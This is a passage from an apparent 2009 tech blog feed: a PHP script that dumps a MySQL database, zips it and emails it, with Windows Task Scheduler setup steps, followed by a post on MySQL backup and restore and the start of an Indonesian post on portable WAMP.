<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><a style="color: #0000ff" href="http://www.php.net/echo">echo</a> &quot;<span style="color: #8b0000">creating $sqlFile\n</span>&quot;;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$creatBackup    = $mysqlbinpath . &quot;<span style="color: #8b0000">/mysqldump --add-drop-table -u </span>&quot;.$user.&quot;<span style="color: #8b0000"> --password=</span>&quot;.$password.&quot;<span style="color: #8b0000"> </span>&quot;.$dbname.&quot;<span style="color: #8b0000"> &gt; </span>&quot;.$sqlFile;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><a style="color: #ffa500" href="http://www.php.net/exec">exec</a>($creatBackup);
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$sqlFiles    .= '<span style="color: #8b0000"> </span>' . $sqlFile;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">}
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #008000">/*********************************************************************\
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">create the zip file
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">\*********************************************************************/</span>
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><a style="color: #0000ff" href="http://www.php.net/echo">echo</a> &quot;<span style="color: #8b0000">creating $attachment\n</span>&quot;;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #008000">//use this command in *nix environment</span>
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #008000">//$createZip    = &quot;tar cvzf $attachment $sqlFiles&quot;;</span>
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #008000">//use this command in windows, must have zip.exe</span>
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$createZip    = &quot;<span style="color: #8b0000">$zip $attachment $sqlFiles</span>&quot;;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><a style="color: #ffa500" href="http://www.php.net/exec">exec</a>($createZip);
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #008000">/*********************************************************************\
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">send zip to email
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">\*********************************************************************/</span>
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><a style="color: #0000ff" href="http://www.php.net/echo">echo</a> &quot;<span style="color: #8b0000">sending $attachment to $to\n</span>&quot;;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$headers = <a style="color: #ffa500" href="http://www.php.net/array">array</a>('<span style="color: #8b0000">From</span>' =&gt; $from, '<span style="color: #8b0000">Subject</span>' =&gt; $subject);
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$textMessage = $attachment;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$htmlMessage = &quot;<span style="color: #8b0000"></span>&quot;;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$mime = new Mail_Mime(&quot;<span style="color: #8b0000">\n</span>&quot;);
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$mime-&gt;setTxtBody($textMessage);
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$mime-&gt;setHtmlBody($htmlMessage);
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$mime-&gt;addAttachment($attachment, '<span style="color: #8b0000">text/plain</span>');
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$body = $mime-&gt;get();
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$hdrs = $mime-&gt;headers($headers);
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$<a style="color: #ffa500" href="http://www.php.net/mail">mail</a> = &amp;<a style="color: #ffa500" href="http://www.php.net/Mail">Mail</a>::factory('<span style="color: #8b0000">mail</span>');
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$<a style="color: #ffa500" href="http://www.php.net/mail">mail</a>-&gt;<a style="color: #ffa500" href="http://www.php.net/send">send</a>($to, $hdrs, $body);
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><a style="color: #ffa500" href="http://www.php.net/unlink">unlink</a>($sqlFile);
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><a style="color: #ffa500" href="http://www.php.net/unlink">unlink</a>($attachment);
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><a style="color: #0000ff" href="http://www.php.net/echo">echo</a> &quot;<span style="color: #8b0000">done.</span>&quot;;
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"><span style="color: #0000ff">?&gt;</span>
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px"></pre>
</pre>
<p>Please note on the $header above. I&#8217;ve found that PHP mail function failed to send email to a MDaemon SMTP server. If you encounter the same problem, here is the solution that works for me, to change the $header like the following:</p>
<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 500px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px">
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">$headers = array(
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">'From'            =&gt; $from,
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">'Reply-To'        =&gt; $from,
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">'X-Mailer'        =&gt; 'Microsoft Outlook Express 6.00.2900.5512',
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">'X-Rcpt-To'        =&gt; $to,
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">'X-MDRcpt-To'        =&gt; $to,
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">'X-MDRemoteIP'        =&gt; '10.5.68.249',
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">'X-Return-Path'        =&gt; $from,
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">'X-Envelope-From'    =&gt; $from,
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">'X-MDaemon-Deliver-To' =&gt; $to
</pre>
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">);</pre>
</pre>
<p>Save the script above to a file for example backup-script.php and save it to a folder for example c:\xampp\</p>
<h2>Setting up Windows Task Scheduler</h2>
<p align="left">
<div style="padding-right: 20px; float: left"><iframe style="border-bottom: medium none; border-left: medium none; border-top: medium none; border-right: medium none" height="600" marginheight="0" border="0" src="http://rcm.amazon.com/e/cm?t=vitrainingcom-20&amp;o=1&amp;p=14&amp;l=st1&amp;mode=books&amp;search=mysql&amp;fc1=000000&amp;lt1=&amp;lc1=3366FF&amp;bg1=FFFFFF&amp;f=ifr" frameborder="0" width="160" marginwidth="0" scrolling="no"></iframe></div>
<p><!-- Adsense End --></p>
<p>If you need to run the backup script periodically using the Windows Task Scheduler, do the following steps:</p>
<p>Click on Start – Settings – Control Panel – Scheduled Tasks</p>
<p>Double click Add Scheduled Task</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image8.png"><img title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb8.png" width="244" height="181" /></a></p>
<p>Click Next.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image9.png"><img title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb9.png" width="244" height="181" /></a></p>
<p>Click Browse… and locate the PHP.EXE executable file, for example C:\<a class="zem_slink" title="XAMPP" href="http://www.apachefriends.org/en/xampp.html" rel="homepage">XAMPP</a>\PHP\PHP.EXE.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image10.png"><img title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb10.png" width="244" height="181" /></a></p>
<p>Select the execution period of Daily, Weekly, Monthly, etc depending on your backup need. Click Next.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image11.png"><img title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb11.png" width="244" height="181" /></a></p>
<p>Select the start time and Date of the task. Also select the daily operation for the task, eg Every Day, Weekdays only, or Every x days. Click Next.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image12.png"><img title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb12.png" width="244" height="181" /></a></p>
<p>Next, Enter the username and password that will run the program as. Click Next.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image13.png"><img title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb13.png" width="244" height="181" /></a></p>
<h2>Refine the Scheduled Task</h2>
<p>On the dialog, the task periodic schedule is shown, you can refine it by checking “Open advanced properties for this task when I click Finish”. Then click Finish.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/SettingupPHPparameterinTaskScheduler.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Setting up PHP parameter in Task Scheduler" border="0" alt="Setting up PHP parameter in Task Scheduler" src="http://www.dijexi.com/wp-content/uploads/2009/07/SettingupPHPparameterinTaskScheduler_thumb.png" width="218" height="244" /></a></p>
<p>You need to change the Run field from</p>
<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 500px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px">
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">c:\xampp\php\php.exe</pre>
</pre>
<p>to</p>
<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 500px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px">
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">C:\xampp\php\php.exe c:\xampp\htdocs\backup-script.php</pre>
</pre>
<p>You may need to put a double quote on the command line parameter if your script resides on a folder that contains spaces, for example:</p>
<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 500px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px">
<pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 12px">C:\xampp\php\php.exe  “C:\Documents <span style="color: #0000ff">and</span> Settings\Toshiba\My Documents\backup-script.php”</pre>
</pre>
<p>This will run php program with an argument, which is our backup script created before.</p>
<p>If you need to adjust the period, you can click on the Schedule tab.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image15.png"><img title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb15.png" width="410" height="459" /></a></p>
<p>and then click Advanced button</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image16.png"><img title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb16.png" width="372" height="304" /></a></p>
<p>On the above example, we check on Repeat task, which means we will run the backup program every 6 hours for 24 hours a day, starting from 29 June 2009. Click OK.</p>
<p>Our scheduled task will be listed at the Scheduled Tasks window as follow:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image26.png"><img title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb26.png" width="504" height="261" /></a></p>
<h2>Run the Scheduled Task</h2>
<p>When you are done, just wait until the schedule for the task to run, or you can right-click on it and click Run to run it now.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image18.png"><img title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb18.png" width="404" height="324" /></a></p>
<p>Backup file created by this periodic backup task can be restored using mysql command line, phpMyAdmin, Navicat MySQL, or other MySQL front end programs.</p>
<p>References:</p>
<ul>
<li>ZIP.EXE download <a href="http://stahlforce.com/dev/index.php?tool=zipunzip">http://stahlforce.com/dev/index.php?tool=zipunzip</a> </li>
<li>PEAR manual <a href="http://pear.php.net/">http://pear.php.net</a> </li>
</ul>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a></p>
<p><a href="http://ligarwangi.com">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<p>&#160;</p>
<p>Related articles by Zemanta</p>
<div class="zemanta-related">
<ul class="zemanta-article-ul">
<li class="zemanta-article-ul-li"><a href="http://www.mt-soft.com.ar/2009/06/27/how-to-set-up-php-5-with-curl-and-mysql-support-on-windows/">How to set up PHP 5 with Curl and MySQL support on Windows </a>(mt-soft.com.ar) </li>
<li class="zemanta-article-ul-li"><a href="http://oreilly.com/catalog/9780980576818/">Build Your Own Database Driven Web Site Using PHP &amp; MySQL, 4th Edition </a>(oreilly.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.alistapart.com/articles/indexing-the-web-its-not-just-googles-business/">Indexing the Web &#8211; It&#8217;s Not Just Google&#8217;s Business </a>(alistapart.com) </li>
<li class="zemanta-article-ul-li"><a href="http://themactrack.com/2009/06/25/premiumsoft-introduces-navicat-premium-cross-db-admin-migration-gui/">PremiumSoft introduces Navicat Premium &#8211; Cross DB Admin &amp; Migration GUI </a>(themactrack.com) </li>
</ul>
</div>
<div style="margin-top: 10px; height: 15px" class="zemanta-pixie"><a class="zemanta-pixie-a" title="Reblog this post [with Zemanta]" href="http://reblog.zemanta.com/zemified/9b05260b-33a1-4b01-9e33-bf191cd2ed8f/"><img style="border-bottom-style: none; border-right-style: none; border-top-style: none; float: right; border-left-style: none" class="zemanta-pixie-img" alt="Reblog this post [with Zemanta]" src="http://img.zemanta.com/reblog_e.png?x-id=9b05260b-33a1-4b01-9e33-bf191cd2ed8f" /></a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/" rel="bookmark">Restore MySQL database, stored procedure missing ?</a></li><li><a href="http://www.dijexi.com/2009/06/mysql-backup-with-phpmybackuppro/" rel="bookmark">MySQL Backup with phpMyBackupPro</a></li><li><a href="http://www.dijexi.com/2008/04/me-restore-database-postgresql-dari-windows-ke-linux/" rel="bookmark">Me-Restore database PostgreSQL dari Windows ke Linux</a></li><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li><li><a href="http://www.dijexi.com/2010/07/how-to-send-email-on-java-application-using-javamail-api/" rel="bookmark">How to Send Email on Java Application using JavaMail API</a></li></ul></div><!--INFOLINKS_OFF--><p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-7773800616131770";
/* horizontal */
google_ad_slot = "1931057994";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Fmysql-backup-to-email%2F&amp;linkname=MySQL%20Backup%20to%20Email"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/mysql-backup-to-email/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Restore MySQL database, stored procedure missing ?</title>
		<link>http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/</link>
		<comments>http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 23:18:08 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[data directory]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[restore]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[stored procedure]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/</guid>
		<description><![CDATA[Backing up and Restoring mysql database could be done through several ways. You can backup and restore by exporting SQL script using MySQL command line or copying MySQL data directory from the original server to the destination server. Using the second method will cause the stored procedure and function missing. In this article we will [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Backing up and Restoring mysql database could be done through several ways. You can backup and restore by exporting SQL script using MySQL command line or copying MySQL data directory from the original server to the destination server.</p>
<p>Using the second method will cause the stored procedure and function missing. In this article we will discuss how to overcome the situation.</p>
<p><span id="more-224"></span></p>
<h2>Backup and Restore using MySQL command line</h2>
<p>You can backup mysql database using mysqldump command line. Using this method, you can backup and restore all information on the database, including the triggers and the stored procedures that you have on the database.</p>
<p>This command line has many parameters, but there are only some of them that we are interested. For example to backup database ialfdb, you use the command:</p>
<blockquote><p><span style="font-family: Courier New; font-size: x-small;">mysqldump ialfdb –u root –p &#8211;add-drop-table &gt; ialfdb.sql</span></p></blockquote>
<p>The above command instruct the system to export SQL statements from the database ialfdb, connecting using username root (-u root), with password that will be asked later (-p), add drop table statement for every table that will be recreated again (—add-drop-table), save the resulting SQL statement to a file named ialfdb.sql in the current directory ( &gt; ialfdb.sql ).</p>
<p>If the system was failed to executed mysqldump program then try to run it using the full path (typing the program’s exact location), for example: c:\xampp\mysql\bin\mysqldump or c:\program files\mysql\bin\mysqldump.</p>
<p>You can specify the destination directory for SQL file for the output by typing the file with it’s full path, for example c:\data\ialfdb.sql.</p>
<p>When the command is executed, it will ask you for a password, that is the password for user specified by –u parameter (root).</p>
<blockquote><p>Enter password:</p></blockquote>
<p>Just type the user’s password. Depending to the size of the database, it will take a while to process your request. After the process is done, you will be back to the command prompt.</p>
<p>Below is a screen capture of the command line session. I used it on Windows operating system, but there will be no big different on other operating system.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image27.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb27.png" border="0" alt="image" width="244" height="125" /></a></p>
<p>To restore the database, you should use the command line mysql. Again we are only interested in a few of all the parameter that the program has. To restore our backup file above (ialfdb.sql), use the command line:</p>
<blockquote><p>mysql ialfdb –u root –p &lt; ialfdb.sql</p></blockquote>
<p>The command line above tell the system to restore the SQL scripts on the file ialfdb.sql ( &lt; ialfdb.sql ), using user root to connect to the database ( –u root ), with password that will be asked later.</p>
<p>If the system was failed to executed mysql program then try to run it using the full path (typing the program’s exact location), for example: c:\xampp\mysql\bin\mysql or c:\program files\mysql\bin\mysql.</p>
<p>You can specify the source directory of the SQL script file by typing the file with it’s full path, for example c:\data\ialfdb.sql.</p>
<p>When the command is executed, it will ask you for a password, that is the password for user specified by –u parameter (root).</p>
<blockquote><p>Enter password:</p></blockquote>
<p>Just type the user’s password. Depending to the size of the database, it will take a while to process your request. After the process is done, you will be back to the command prompt.</p>
<p>Below is a screen capture of the command line session. I used it on Windows operating system, but there will be no big different on other operating system.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image61.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" src="http://www.dijexi.com/wp-content/uploads/2009/06/image6_thumb.png" border="0" alt="image" width="244" height="125" /></a></p>
<h2>Backup and Restore by Copying the Data Directory</h2>
<p>You could also backup and restore MySQL database by copying the data directory from a server to other server. By default, MySQL data directory resides on the data directory below the server installation path, for example c:\program files\mysql\data or c:\xampp\mysql\data. There will be directories for your database, in our case is the ialfdb directory.</p>
<p>Simply copy the data directory from the source server to the destination server using Windows Explorer.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image28.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Location of database directory of MySQL database" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb28.png" border="0" alt="Location of database directory of MySQL database" width="430" height="464" /></a></p>
<p>The problem is when your database contains stored procedures and functions. You cannot simply the database directory, but you need also to copy the proc tables under the mysql directory. The files for that tables are: proc.myi, proc.myd, and proc.frm.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/06/image29.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="The proc table files" src="http://www.dijexi.com/wp-content/uploads/2009/06/image_thumb29.png" border="0" alt="The proc table files" width="430" height="464" /></a></p>
<p>Of course, other stored procedure and function which are belong to (created at) other database will be copied also in the new database.</p>
<p>That’s all, hope this article is useful for you. Please leave me a comment if you have something to discuss.</p>
<p>Akhmad Daniel Sembiring<br />
<a href="http://www.vitraining.com" target="_blank">vITraining.com</a><br />
<a href="http://ligarwangi.com" target="_blank">Ligarwangi.com &#8211; toserba online</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2008/04/me-restore-database-postgresql-dari-windows-ke-linux/" rel="bookmark">Me-Restore database PostgreSQL dari Windows ke Linux</a></li><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li><li><a href="http://www.dijexi.com/2009/06/mysql-backup-with-phpmybackuppro/" rel="bookmark">MySQL Backup with phpMyBackupPro</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-database-ikan/" rel="bookmark">13. Aplikasi Database Ikan</a></li><li><a href="http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 3 ER Diagram and Creating Database</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Frestore-mysql-database-stored-procedure-missing%2F&amp;linkname=Restore%20MySQL%20database%2C%20stored%20procedure%20missing%20%3F"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/restore-mysql-database-stored-procedure-missing/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Portable Apache, MySQL, PHP</title>
		<link>http://www.dijexi.com/2009/06/portable-apache-mysql-php/</link>
		<comments>http://www.dijexi.com/2009/06/portable-apache-mysql-php/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 23:12:13 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[apache mysql]]></category>
		<category><![CDATA[apache php]]></category>
		<category><![CDATA[drive usb]]></category>
		<category><![CDATA[port 8080]]></category>
		<category><![CDATA[portable]]></category>
		<category><![CDATA[server smtp]]></category>
		<category><![CDATA[settingan]]></category>
		<category><![CDATA[usb]]></category>
		<category><![CDATA[usb webserver]]></category>
		<category><![CDATA[wamp]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/06/portable-apache-mysql-php/</guid>
		<description><![CDATA[Pada kondisi dimana user minta bisa mencoba aplikasi yang kita bangun menggunakan WAMP (Windows Apache MySQL PHP) dan belum terdapat server komputer yang dapat kita installkan infrastruktur yang dibutuhkan, kita dapat menggunakan portable WAMP yang dapat dijalankan dari USB. Kondisi lainnya adalah ketika kita ingin membuat versi trial aplikasi web kita ke calon customer. Salah [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Pada kondisi dimana user minta bisa mencoba aplikasi yang kita bangun menggunakan WAMP (Windows Apache MySQL PHP) dan belum terdapat server komputer yang dapat kita installkan infrastruktur yang dibutuhkan, kita dapat menggunakan portable WAMP yang dapat dijalankan dari USB.</p>
<p>Kondisi lainnya adalah ketika kita ingin membuat versi trial aplikasi web kita ke calon customer.</p>
